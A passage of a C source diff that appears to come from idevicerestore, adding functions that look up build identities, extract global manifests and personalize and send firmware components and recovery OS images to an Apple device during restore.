+ plist_t unique_id_node = plist_dict_get_item(client->build_manifest, "UniqueBuildID");
+ if (unique_id_node) {
+ logger(LL_INFO, "UniqueBuildID: ");
+ plist_write_to_stream(unique_id_node, stdout, PLIST_FORMAT_PRINT, PLIST_OPT_NONE);
+ }
+
+ return build_identity;
+}
+
+plist_t restore_get_build_identity_from_request(struct idevicerestore_client_t* client, plist_t message)
+{
+ plist_t args = plist_dict_get_item(message, "Arguments");
+ return restore_get_build_identity(client, plist_dict_get_bool(args, "IsRecoveryOS"));
+}
+
+int extract_macos_variant(plist_t build_identity, char** output)
+{
+ plist_t build_info = plist_dict_get_item(build_identity, "Info");
+ if (!build_info) {
+ logger(LL_ERROR, "build identity does not contain an 'Info' element\n");
+ return -1;
+ }
+
+ plist_t macos_variant_node = plist_dict_get_item(build_info, "MacOSVariant");
+ if (!macos_variant_node) {
+ logger(LL_ERROR, "build identity info does not contain a MacOSVariant\n");
+ return -1;
+ }
+ plist_get_string_val(macos_variant_node, output);
+
+ return 0;
+}
+
+static char* extract_global_manifest_path(plist_t build_identity, const char* variant, const char* prefix, const char* suffix)
+{
+ plist_t build_info = plist_dict_get_item(build_identity, "Info");
+ if (!build_info) {
+ logger(LL_ERROR, "build identity does not contain an 'Info' element\n");
+ return NULL;
+ }
+
+ plist_t device_class_node = plist_dict_get_item(build_info, "DeviceClass");
+ if (!device_class_node) {
+ logger(LL_ERROR, "build identity info does not contain a DeviceClass\n");
+ return NULL;
+ }
+ char *device_class = NULL;
+ plist_get_string_val(device_class_node, &device_class);
+ if (!device_class) {
+ logger(LL_ERROR, "failed to get DeviceClass from build identity info\n");
+ return NULL;
+ }
+
+ char *owned_macos_variant = NULL;
+ const char *macos_variant = variant;
+ if (!macos_variant) {
+ if (extract_macos_variant(build_identity, &owned_macos_variant) != 0 || !owned_macos_variant) {
+ free(device_class);
+ return NULL;
+ }
+ macos_variant = owned_macos_variant;
+ }
+
+ // There is no path reference to the global manifest in the build manifest.
+ int length = snprintf(NULL, 0, "Firmware/Manifests/restore/%s/%s.%s%s.im4m", macos_variant, prefix, device_class, suffix);
+ if (length < 0) {
+ logger(LL_ERROR, "failed to format global manifest path\n");
+ free(device_class);
+ free(owned_macos_variant);
+ return NULL;
+ }
+ char *ticket_path = malloc((size_t)length + 1);
+ if (!ticket_path) {
+ logger(LL_ERROR, "Out of memory\n");
+ free(device_class);
+ free(owned_macos_variant);
+ return NULL;
+ }
+ if (snprintf(ticket_path, (size_t)length + 1, "Firmware/Manifests/restore/%s/%s.%s%s.im4m", macos_variant, prefix, device_class, suffix) != length) {
+ logger(LL_ERROR, "failed to format global manifest path\n");
+ free(ticket_path);
+ ticket_path = NULL;
+ }
+
+ free(device_class);
+ free(owned_macos_variant);
+
+ return ticket_path;
+}
+
+int extract_global_manifest(struct idevicerestore_client_t* client, plist_t build_identity, char *variant, void** pbuffer, size_t* psize)
+{
+ char* ticket_path = extract_global_manifest_path(build_identity, variant, "apticket", "");
+ if (!ticket_path) {
+ logger(LL_ERROR, "failed to get global manifest path\n");
+ return -1;
+ }
+ int ret = ipsw_extract_to_memory(client->ipsw, ticket_path, pbuffer, psize);
+ if (ret != 0) {
+ free(ticket_path);
+ logger(LL_ERROR, "failed to read global manifest\n");
+ return -1;
+ }
+ free(ticket_path);
+
+ return 0;
+}
+
+struct _restore_send_file_data_ctx {
+ struct idevicerestore_client_t* client;
+ restore_service_client_t service;
+ int last_progress;
+ uint32_t tag;
+};
+
+static int _restore_send_file_data(struct _restore_send_file_data_ctx* rctx, const void* data, size_t size, size_t done, size_t total_size)
+{
+ plist_t dict = plist_new_dict();
+ if (data != NULL) {
+ // Send a chunk of file data
+ plist_dict_set_item(dict, "FileData", plist_new_data((char*)data, size));
+ } else {
+ // Send FileDataDone to mark end of transfer
+ plist_dict_set_item(dict, "FileDataDone", plist_new_bool(1));
+ }
+ restored_error_t restore_error = _restore_service_send(rctx->service, dict, 0);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ plist_free(dict);
+ logger(LL_ERROR, "%s: Failed to send data (%d)\n", __func__, restore_error);
+ return -1;
+ }
+ plist_free(dict);
+
+ /* special handling for AEA image format */
+ if (data != NULL && size >= 4 && done == 0 && (memcmp(data, "AEA1", 4) == 0)) {
+ logger(LL_VERBOSE, "Encountered First Chunk in AEA image\n");
+ plist_t message = NULL;
+ property_list_service_error_t err = _restore_service_recv_timeout(rctx->service, &message, 3000);
+ if (err == PROPERTY_LIST_SERVICE_E_RECEIVE_TIMEOUT) {
+ logger(LL_VERBOSE, "No URLAsset requested, assuming it is not necessary.\n");
+ } else if (err == PROPERTY_LIST_SERVICE_E_SUCCESS) {
+ if (PLIST_IS_DICT(message) && plist_dict_get_item(message, "Arguments")) {
+ restore_send_url_asset(rctx->client, message);
+ } else {
+ logger(LL_DEBUG, "%s: Unexpected message received\n", __func__);
+ logger_dump_plist(LL_DEBUG, message, 1);
+ }
+ }
+ }
+
+ if (total_size > 0x1000000) {
+ double progress = (double)done / (double)total_size;
+ set_progress(rctx->tag, progress);
+ int progress_int = (int)(progress*100.0);
+ if (progress_int > rctx->last_progress) {
+ idevicerestore_progress(rctx->client, RESTORE_STEP_UPLOAD_IMG, progress);
+ rctx->last_progress = progress_int;
+ }
+ }
+ return 0;
+}
+
+int restore_send_personalized_boot_object_v3(struct idevicerestore_client_t* client, plist_t message)
+{
+ if (client->debug_level > 1) {
+ logger(LL_DEBUG, "%s: Got PersonalizedBootObjectV3 request:\n", __func__);
+ logger_dump_plist(LL_DEBUG, message, 1);
+ }
+
+ char *image_name = NULL;
+ plist_t node = plist_access_path(message, 2, "Arguments", "ImageName");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_DEBUG, "Failed to parse arguments from PersonalizedBootObjectV3 plist\n");
+ return -1;
+ }
+ plist_get_string_val(node, &image_name);
+ if (!image_name) {
+ logger(LL_DEBUG, "Failed to parse arguments from PersonalizedBootObjectV3 as string\n");
+ return -1;
+ }
+
+ char *component = image_name;
+ size_t size = 0;
+ void *data = NULL;
+ char *path = NULL;
+
+ logger(LL_INFO, "About to send %s...\n", component);
+
+ if (strcmp(image_name, "__GlobalManifest__") == 0) {
+ int ret = extract_global_manifest(client, client->restore->build_identity, NULL, &data, &size);
+ if (ret != 0) {
+ return -1;
+ }
+ } else if (strcmp(image_name, "__RestoreVersion__") == 0) {
+ int ret = ipsw_extract_to_memory(client->ipsw, "RestoreVersion.plist", &data, &size);
+ if (ret != 0) {
+ logger(LL_ERROR, "failed to read global manifest\n");
+ return -1;
+ }
+ } else if (strcmp(image_name, "__SystemVersion__") == 0) {
+ int ret = ipsw_extract_to_memory(client->ipsw, "SystemVersion.plist", &data, &size);
+ if (ret != 0) {
+ logger(LL_ERROR, "failed to read global manifest\n");
+ return -1;
+ }
+ } else {
+ // Get component path
+ if (client->tss) {
+ if (tss_response_get_path_by_entry(client->tss, component, &path) < 0) {
+ logger(LL_DEBUG, "No path for component %s in TSS, will fetch from build identity\n", component);
+ }
+ }
+ if (!path) {
+ plist_t build_identity = restore_get_build_identity_from_request(client, message);
+ if (!build_identity) {
+ logger(LL_ERROR, "Unable to find a matching build identity\n");
+ return -1;
+ }
+ if (build_identity_get_component_path(build_identity, component, &path) < 0) {
+ logger(LL_ERROR, "Unable to find %s path from build identity\n", component);
+ return -1;
+ }
+ }
+
+ // Extract component
+ void *component_data = NULL;
+ size_t component_size = 0;
+ int ret = extract_component(client->ipsw, path, &component_data, &component_size);
+ free(path);
+ path = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract component %s\n", component);
+ return -1;
+ }
+
+ // Personalize IMG4
+ ret = personalize_component(client, component, component_data, component_size, client->tss, &data, &size);
+ free(component_data);
+ component_data = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component %s\n", component);
+ return -1;
+ }
+ }
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending %s now (%" PRIu64 " bytes)...\n", component, (uint64_t)size);
+
+ struct _restore_send_file_data_ctx rctx;
+ rctx.client = client;
+ rctx.service = service;
+ rctx.last_progress = 0;
+ rctx.tag = progress_get_next_tag();
+
+ if (size > 0x2000000) {
+ register_progress(rctx.tag, component);
+ }
+
+ int64_t i = size;
+ while (i > 0) {
+ int blob_size = i > 8192 ? 8192 : i;
+ if (_restore_send_file_data(&rctx, ((char*)data + size - i), blob_size, size-i, size) < 0) {
+ free(data);
+ _restore_service_free(service);
+ finalize_progress(rctx.tag);
+ logger(LL_ERROR, "Unable to send component %s data\n", component);
+ return -1;
+ }
+ i -= blob_size;
+ }
+ free(data);
+
+ _restore_send_file_data(&rctx, NULL, 0, size-i, size);
+ finalize_progress(rctx.tag);
+
+ _restore_service_free(service);
+
+ logger(LL_INFO, "Done sending %s\n", component);
+ return 0;
+}
+
+int restore_send_source_boot_object_v4(struct idevicerestore_client_t* client, plist_t message)
+{
+ if (client->debug_level > 1) {
+ logger(LL_DEBUG, "%s: Got SourceBootObjectV4 request:\n", __func__);
+ logger_dump_plist(LL_DEBUG, message, 1);
+ }
+
+ plist_t arguments = plist_dict_get_item(message, "Arguments");
+ if (!arguments || plist_get_node_type(arguments) != PLIST_DICT) {
+ logger(LL_DEBUG, "Failed to parse arguments from SourceBootObjectV4 plist\n");
+ return -1;
+ }
+ plist_t node = plist_dict_get_item(arguments, "ImageName");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_DEBUG, "Failed to parse arguments from SourceBootObjectV4 plist\n");
+ return -1;
+ }
+ const char *image_name = plist_get_string_ptr(node, NULL);
+ if (!image_name) {
+ logger(LL_DEBUG, "Failed to parse arguments from SourceBootObjectV4 as string\n");
+ return -1;
+ }
+
+ const char *component = image_name;
+ // Fork from restore_send_component
+ //
+ char *path = NULL;
+ int path_optional = 0;
+
+ logger(LL_INFO, "About to send %s...\n", component);
+
+ if (strcmp(image_name, "__GlobalManifest__") == 0) {
+ plist_t build_identity = restore_get_build_identity_from_request(client, message);
+ if (!build_identity) {
+ logger(LL_ERROR, "Unable to find a matching build identity\n");
+ return -1;
+ }
+
+ node = plist_dict_get_item(arguments, "Variant");
+ if (!node || plist_get_node_type(node) != PLIST_STRING) {
+ logger(LL_DEBUG, "Failed to parse arguments from SourceBootObjectV4 plist\n");
+ return -1;
+ }
+ const char *variant = plist_get_string_ptr(node, NULL);
+ if (!variant) {
+ logger(LL_DEBUG, "Failed to parse arguments from SourceBootObjectV4 as string\n");
+ return -1;
+ }
+
+ const char *prefix = "apticket";
+ node = plist_dict_get_item(arguments, "GlobalManifestPrefix");
+ if (node && plist_get_node_type(node) == PLIST_STRING) {
+ const char *value = plist_get_string_ptr(node, NULL);
+ if (value) {
+ prefix = value;
+ }
+ }
+
+ const char *suffix = "";
+ node = plist_dict_get_item(arguments, "GlobalManifestSuffix");
+ if (node && plist_get_node_type(node) == PLIST_STRING) {
+ const char *value = plist_get_string_ptr(node, NULL);
+ if (value) {
+ suffix = value;
+ }
+ }
+
+ path = extract_global_manifest_path(build_identity, variant, prefix, suffix);
+ if (!path) {
+ logger(LL_ERROR, "Failed to get global manifest path\n");
+ return -1;
+ }
+ if (!ipsw_file_exists(client->ipsw, path)) {
+ free(path);
+ path = NULL;
+ }
+ path_optional = !plist_access_path(build_identity, 2, "Info", "VariantSupportsGlobalSigning")
+ || plist_dict_get_bool(arguments, "GlobalManifestOptional");
+ } else if (strcmp(image_name, "__RestoreVersion__") == 0) {
+ path = strdup("RestoreVersion.plist");
+ } else if (strcmp(image_name, "__SystemVersion__") == 0) {
+ path = strdup("SystemVersion.plist");
+ } else {
+ // Get component path
+ if (client->tss) {
+ if (tss_response_get_path_by_entry(client->tss, component, &path) < 0) {
+ logger(LL_DEBUG, "No path for component %s in TSS, will fetch from build identity\n", component);
+ }
+ }
+ if (!path) {
+ plist_t build_identity = restore_get_build_identity_from_request(client, message);
+ if (build_identity_get_component_path(build_identity, component, &path) < 0) {
+ logger(LL_ERROR, "Unable to find %s path from build identity\n", component);
+ return -1;
+ }
+ }
+ }
+
+ if (!path && !path_optional) {
+ logger(LL_ERROR, "Failed to get path for component %s\n", component);
+ return -1;
+ }
+
+ uint64_t fsize = 0;
+ if (path) {
+ ipsw_get_file_size(client->ipsw, path, &fsize);
+ }
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ free(path);
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ struct _restore_send_file_data_ctx rctx;
+ rctx.client = client;
+ rctx.service = service;
+ rctx.last_progress = 0;
+ rctx.tag = progress_get_next_tag();
+
+ int sent_file = path != NULL;
+ int ret;
+ if (sent_file) {
+ logger(LL_INFO, "Sending %s now (%" PRIu64 " bytes)\n", component, fsize);
+ register_progress(rctx.tag, component);
+ ret = ipsw_extract_send(client->ipsw, path, 8192, (ipsw_send_cb)_restore_send_file_data, &rctx);
+ } else {
+ logger(LL_INFO, "Skipping missing optional component %s\n", component);
+ ret = _restore_send_file_data(&rctx, NULL, 0, 0, 0);
+ }
+ if (ret < 0) {
+ free(path);
+ _restore_service_free(service);
+ if (sent_file) {
+ finalize_progress(rctx.tag);
+ }
+ logger(LL_ERROR, "Failed to send component %s\n", component);
+ return -1;
+ }
+ free(path);
+
+ _restore_service_free(service);
+ if (sent_file) {
+ finalize_progress(rctx.tag);
+ }
+
+ logger(LL_INFO, "Done sending %s\n", component);
+ return 0;
+}
+
+int restore_send_restore_local_policy(struct idevicerestore_client_t* client, plist_t message)
+{
+ size_t size = 0;
+ void* data = NULL;
+
+ void* component_data = NULL;
+ size_t component_size = 0;
+
+ char* component = "Ap,LocalPolicy";
+
+ component_data = malloc(sizeof(lpol_file));
+ component_size = sizeof(lpol_file);
+ memcpy(component_data, lpol_file, component_size);
+
+ // The Update mode does not have a specific build identity for the recovery os.
+ plist_t build_identity = restore_get_build_identity(client, client->flags & FLAG_ERASE ? 1 : 0);
+
+ int ret = get_recovery_os_local_policy_tss_response(client, build_identity, &client->tss_localpolicy, plist_dict_get_item(message, "Arguments"));
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get recovery os local policy tss response\n");
+ return -1;
+ }
+
+ ret = personalize_component(client, component, component_data, component_size, client->tss_localpolicy, &data, &size);
+ free(component_data);
+ component_data = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component %s\n", component);
+ return -1;
+ }
+
+ plist_t dict = plist_new_dict();
+ plist_dict_set_item(dict, "Ap,LocalPolicy", plist_new_data((char*)data, size));
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ int restore_error = 0;
+ restore_error = _restore_service_send(service, dict, 0);
+ _restore_service_free(service);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send component %s data\n", component);
+ return -1;
+ }
+
+ plist_free(dict);
+ free(data);
+
+ return 0;
+}
+
+int restore_send_buildidentity(struct idevicerestore_client_t* client, plist_t message)
+{
+ restored_error_t restore_error;
+ plist_t dict;
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "About to send BuildIdentity Dict...\n");
+
+ plist_t build_identity = restore_get_build_identity_from_request(client, message);
+
+ dict = plist_new_dict();
+ plist_dict_set_item(dict, "BuildIdentityDict", plist_copy(build_identity));
+
+ plist_t node = plist_access_path(message, 2, "Arguments", "Variant");
+ if(node) {
+ plist_dict_set_item(dict, "Variant", plist_copy(node));
+ } else {
+ plist_dict_set_item(dict, "Variant", plist_new_string("Erase"));
+ }
+
+ logger(LL_INFO, "Sending BuildIdentityDict now...\n");
+ restore_error = _restore_service_send(service, dict, 0);
+ _restore_service_free(service);
+ plist_free(dict);
+ if (restore_error != RESTORE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to send BuildIdentityDict (%d)\n", restore_error);
+ return -1;
+ }
+
+ logger(LL_INFO, "Done sending BuildIdentityDict\n");
+ return 0;
+}
+
+int restore_send_recovery_os_file_asset_image(struct idevicerestore_client_t* client, plist_t message)
+{
+ char *fw_override_key = NULL;
+ plist_t node = plist_access_path(message, 2, "Arguments", "FWOverrideKey");
+ if (PLIST_IS_STRING(node)) {
+ plist_get_string_val(node, &fw_override_key);
+ }
+ if (!fw_override_key) {
+ logger(LL_ERROR, "Failed to get FWOverrideKey from arguments. Trying to continue anyway.\n");
+ return -1;
+ }
+
+ plist_t dict = plist_new_dict();
+ if (!client->recovery_variant) {
+ logger(LL_ERROR, "no RecoveryOS variant in BuildManifest. Trying to continue anyway.\n");
+ plist_dict_set_item(dict, "RecoveryOSNoAssetFound", plist_new_bool(1));
+ restored_send(client->restore->client, dict);
+ plist_free(dict);
+ return 0;
+ }
+
+ if (strncmp(fw_override_key, "RecoveryOS", 10) != 0) {
+ logger(LL_ERROR, "FWOVerrideKey has unexpected prefix\n");
+ plist_dict_set_item(dict, "RecoveryOSNoAssetFound", plist_new_bool(1));
+ restored_send(client->restore->client, dict);
+ plist_free(dict);
+ return 0;
+ }
+
+ const char* component = fw_override_key+10;
+ char* path = NULL;
+ if (build_identity_get_component_path(client->recovery_variant, component, &path) < 0) {
+ logger(LL_ERROR, "Unable to find %s path from recovery build identity. Trying to continue anyway.\n", component);
+ plist_dict_set_item(dict, "RecoveryOSNoAssetFound", plist_new_bool(1));
+ restored_send(client->restore->client, dict);
+ plist_free(dict);
+ return 0;
+ }
+
+ void* component_data = NULL;
+ size_t component_size = 0;
+ int ret = extract_component(client->ipsw, path, &component_data, &component_size);
+ free(path);
+ path = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to extract component %s. Trying to continue anyway.\n", component);
+ plist_dict_set_item(dict, "RecoveryOSNoAssetFound", plist_new_bool(1));
+ restored_send(client->restore->client, dict);
+ plist_free(dict);
+ return 0;
+ }
+
+ void* data = NULL;
+ size_t size = 0;
+ ret = personalize_component(client, component, component_data, component_size, client->tss_recoveryos_root_ticket, &data, &size);
+ free(component_data);
+ component_data = NULL;
+ if (ret < 0) {
+ logger(LL_ERROR, "Unable to get personalized component %s. Trying to continue anyway.\n", component);
+ plist_dict_set_item(dict, "RecoveryOSNoAssetFound", plist_new_bool(1));
+ restored_send(client->restore->client, dict);
+ plist_free(dict);
+ return 0;
+ }
+
+ logger(LL_INFO, "Sending %s\n", fw_override_key);
+
+ plist_dict_set_item(dict, "AdditionalBootImages", plist_new_data((char*)data, size));
+ free(data);
+ restored_send(client->restore->client, dict);
+ plist_free(dict);
+
+ return 0;
+}
+
+int restore_send_recovery_os_iboot_fw_files_images(struct idevicerestore_client_t* client, plist_t message)
+{
+ plist_t build_id_manifest = plist_dict_get_item(client->recovery_variant, "Manifest");
+ if (!build_id_manifest) {
+ logger(LL_ERROR, "Missing Manifest dictionary in build identity?!\n");
+ return -1;
+ }
+
+ plist_t firmware_files = plist_new_dict();
+
+ plist_dict_iter iter = NULL;
+ plist_dict_new_iter(build_id_manifest, &iter);
+ if (iter) {
+ char *component = NULL;
+ plist_t manifest_entry;
+ do {
+ component = NULL;
+ manifest_entry = NULL;
+ plist_dict_next_item(build_id_manifest, iter, &component, &manifest_entry);
+ if (component && PLIST_IS_DICT(manifest_entry)) {
+ uint8_t loaded_by_iboot = 0;
+ uint8_t loaded_by_iboot_stage1 = 0;
+ plist_t fw_node;
+
+ fw_node = plist_access_path(manifest_entry, 2, "Info", "IsLoadedByiBoot");
+ if (fw_node && plist_get_node_type(fw_node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(fw_node, &loaded_by_iboot);
+ }
+ fw_node = plist_access_path(manifest_entry, 2, "Info", "IsLoadedByiBootStage1");
+ if (fw_node && plist_get_node_type(fw_node) == PLIST_BOOLEAN) {
+ plist_get_bool_val(fw_node, &loaded_by_iboot_stage1);
+ }
+ if (loaded_by_iboot || loaded_by_iboot_stage1) {
+ plist_t comp_path = plist_access_path(manifest_entry, 2, "Info", "Path");
+ if (comp_path) {
+ const char* path = plist_get_string_ptr(comp_path, NULL);
+ void* component_data = NULL;
+ size_t component_size = 0;
+ int ret = extract_component(client->ipsw, path, &component_data, &component_size);
+ if (ret == 0) {
+ void* data = NULL;
+ size_t size = 0;
+ ret = personalize_component(client, component, component_data, component_size, client->tss_recoveryos_root_ticket, &data, &size);
+ free(component_data);
+ component_data = NULL;
+ if (ret == 0) {
+ plist_dict_set_item(firmware_files, component, plist_new_data((char*)data, size));
+ free(data);
+ }
+ }
+ }
+ }
+ }
+ free(component);
+ } while (manifest_entry);
+ plist_mem_free(iter);
+ }
+
+ plist_t dict = plist_new_dict();
+
+ if (plist_dict_get_size(firmware_files) == 0) {
+ plist_free(firmware_files);
+ logger(LL_NOTICE, "No iBoot firmware files. Continuing.\n");
+ plist_dict_set_item(dict, "RecoveryOSNoAssetFound", plist_new_bool(1));
+ restored_send(client->restore->client, dict);
+ plist_free(dict);
+ return 0;
+
+ }
+
+ logger(LL_INFO, "Sending iBoot additional firmware files\n");
+
+ plist_dict_set_item(dict, "AdditionalBootImages", firmware_files);
+ restored_send(client->restore->client, dict);
+ plist_free(dict);
+
+ return 0;
+}
+
+int restore_send_recovery_os_image(struct idevicerestore_client_t* client, plist_t message)
+{
+ const char* component = "OS";
+ char* path = NULL;
+ if (build_identity_get_component_path(client->recovery_variant, component, &path) < 0) {
+ logger(LL_ERROR, "Unable to find %s path from build identity\n", component);
+ return -1;
+ }
+ if (!path) {
+ logger(LL_ERROR, "Failed to get path for component %s\n", component);
+ return -1;
+ }
+
+ uint64_t fsize = 0;
+ ipsw_get_file_size(client->ipsw, path, &fsize);
+
+ restore_service_client_t service = _restore_get_service_client_for_data_request(client, message);
+ if (!service) {
+ logger(LL_ERROR, "%s: Unable to connect to service client\n", __func__);
+ return -1;
+ }
+
+ logger(LL_INFO, "Sending %s now (%" PRIu64 " bytes)\n", component, fsize);
+
+ struct _restore_send_file_data_ctx rctx;
+ rctx.client = client;
+ rctx.service = service;
+ rctx.last_progress = 0;
+ rctx.tag = progress_get_next_tag();
+
+ register_progress(rctx.tag, component);
+
+ if (ipsw_extract_send(client->ipsw, path, 8192, (ipsw_send_cb)_restore_send_file_data, &rctx) < 0) {
+ free(path);
+ _restore_service_free(service);
+ finalize_progress(rctx.tag);
+ logger(LL_ERROR, "Failed to send component %s\n", component);
+ return -1;
+ }
+ free(path);
+
+ _restore_service_free(service);
+ finalize_progress(rctx.tag);
+
+ logger(LL_INFO, "Done sending %s\n", component);
+
+ return 0;
+}
+
+int restore_send_recovery_os_version_data(struct idevicerestore_client_t* client, plist_t message)
+{
+ plist_t build_id_info = plist_dict_get_item(client->recovery_variant, "Info");
+ if (!build_id_info) {
+ logger(LL_ERROR, "Missing Info dictionary in build identity?!\n");
+ return -1;
+ }
+ plist_t version_data = plist_new_dict();
+ plist_dict_copy_item(version_data, build_id_info, "BuildNumber", NULL);
+ plist_dict_copy_item(version_data, build_id_info, "Variant", NULL);
+ plist_dict_copy_item(version_data, build_id_info, "BuildTrain", NULL);
+ plist_dict_copy_item(version_data, build_id_info, "ProductVersion", "ProductMarketingVersion");
+ char *xml = NULL;
+ uint32_t xml_len = 0;
+ plist_to_xml(version_data, &xml, &xml_len);
+ plist_free(version_data);
+
+ logger(LL_INFO, "Sending RecoveryOS version data\n");
+
+ plist_t dict = plist_new_dict();
+ plist_dict_set_item(dict, "RecoveryOSVersionData", plist_new_data(xml, xml_len));
+ plist_mem_free(xml);
+ restored_send(client->restore->client, dict);
+ plist_free(dict);
+
+ return 0;
+}
+
+int restore_handle_data_request_msg(struct idevicerestore_client_t* client, plist_t message)
+{
+ plist_t node = NULL;
+
+ // checks and see what kind of data restored is requests and pass
+ // the request to its own handler
+ node = plist_dict_get_item(message, "DataType");
+ if (node && PLIST_STRING == plist_get_node_type(node)) {
+ const char *type = plist_get_string_ptr(node, NULL);
+logger(LL_DEBUG, "%s: type = %s\n", __func__, type);
+ // this request is sent when restored is ready to receive the filesystem
+ if (!strcmp(type, "SystemImageData")) {
+ if (restore_send_filesystem(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send filesystem\n");
+ return -2;
+ }
+ }
+
+ else if (!strcmp(type, "BuildIdentityDict")) {
+ if (restore_send_buildidentity(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send RootTicket\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "PersonalizedBootObjectV3")) {
+ if (restore_send_personalized_boot_object_v3(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send PersonalizedBootObjectV3\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "SourceBootObjectV4")) {
+ if (restore_send_source_boot_object_v4(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send SourceBootObjectV4\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "SourceBootObjectV5")) {
+ if (restore_send_source_boot_object_v4(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send SourceBootObjectV5\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "RecoveryOSLocalPolicy")) {
+ if (restore_send_restore_local_policy(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send RecoveryOSLocalPolicy\n");
+ return -1;
+ }
+ }
+
+ // this request is sent when restored is ready to receive the filesystem
+ else if (!strcmp(type, "RecoveryOSASRImage")) {
+ if (restore_send_filesystem(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send filesystem\n");
+ return -2;
+ }
+ }
+
+ // Send RecoveryOS RTD
+ else if(!strcmp(type, "RecoveryOSRootTicketData")) {
+ if (restore_send_recovery_os_root_ticket(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send RootTicket\n");
+ return -1;
+ }
+ }
+
+ // send RootTicket (== APTicket from the TSS request)
+ else if (!strcmp(type, "RootTicket")) {
+ if (restore_send_root_ticket(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send RootTicket\n");
+ return -1;
+ }
+ }
+ // send KernelCache
+ else if (!strcmp(type, "KernelCache")) {
+ if (restore_send_component(client, message, "KernelCache", NULL) < 0) {
+ logger(LL_ERROR, "Unable to send kernelcache\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "DeviceTree")) {
+ if (restore_send_component(client, message, "DeviceTree", NULL) < 0) {
+ logger(LL_ERROR, "Unable to send DeviceTree\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "SystemImageRootHash")) {
+ if (restore_send_component(client, message, "SystemVolume", type) < 0) {
+ logger(LL_ERROR, "Unable to send SystemImageRootHash data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "SystemImageCanonicalMetadata")) {
+ if (restore_send_component(client, message, "Ap,SystemVolumeCanonicalMetadata", type) < 0) {
+ logger(LL_ERROR, "Unable to send SystemImageCanonicalMetadata data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "NORData")) {
+ if((client->flags & FLAG_EXCLUDE) == 0) {
+ if(restore_send_nor(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send NOR data\n");
+ return -1;
+ }
+ } else {
+ logger(LL_INFO, "Not sending NORData... Quitting...\n");
+ client->flags |= FLAG_QUIT;
+ }
+ }
+
+ else if (!strcmp(type, "BasebandData")) {
+ if(restore_send_baseband_data(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send baseband data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "FDRTrustData")) {
+ if(restore_send_fdr_trust_data(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send FDR Trust data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "FUDData")) {
+ if(restore_send_image_data(client, message, "FUDImageList", "IsFUDFirmware", "FUDImageData") < 0) {
+ logger(LL_ERROR, "Unable to send FUD data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "FirmwareUpdaterPreflight")) {
+ if(restore_send_firmware_updater_preflight(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send FirmwareUpdaterPreflight\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "FirmwareUpdaterData")) {
+ if(restore_send_firmware_updater_data(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send FirmwareUpdater data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "DeviceRestoreInfoPreflight")) {
+ if(restore_send_firmware_updater_preflight(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send DeviceRestoreInfoPreflight\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "PersonalizedData")) {
+ if(restore_send_image_data(client, message, "ImageList", NULL, "ImageData") < 0) {
+ logger(LL_ERROR, "Unable to send Personalized data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "EANData")) {
+ if(restore_send_image_data(client, message, "EANImageList", "IsEarlyAccessFirmware", "EANData") < 0) {
+ logger(LL_ERROR, "Unable to send Personalized data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "BootabilityBundle") || !strcmp(type, "BootabilityBundleV2")) {
+ if (restore_send_bootability_bundle_data(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send BootabilityBundle data\n");
+ return -1;
+ }
+ }
+
+ else if (!strcmp(type, "ReceiptManifest")) {
+ if (restore_send_receipt_manifest(client, message) < 0) {
+ logger(LL_ERROR, "Unable to send ReceiptManifest data\n");
+ return -1;
+ }
+ }
+
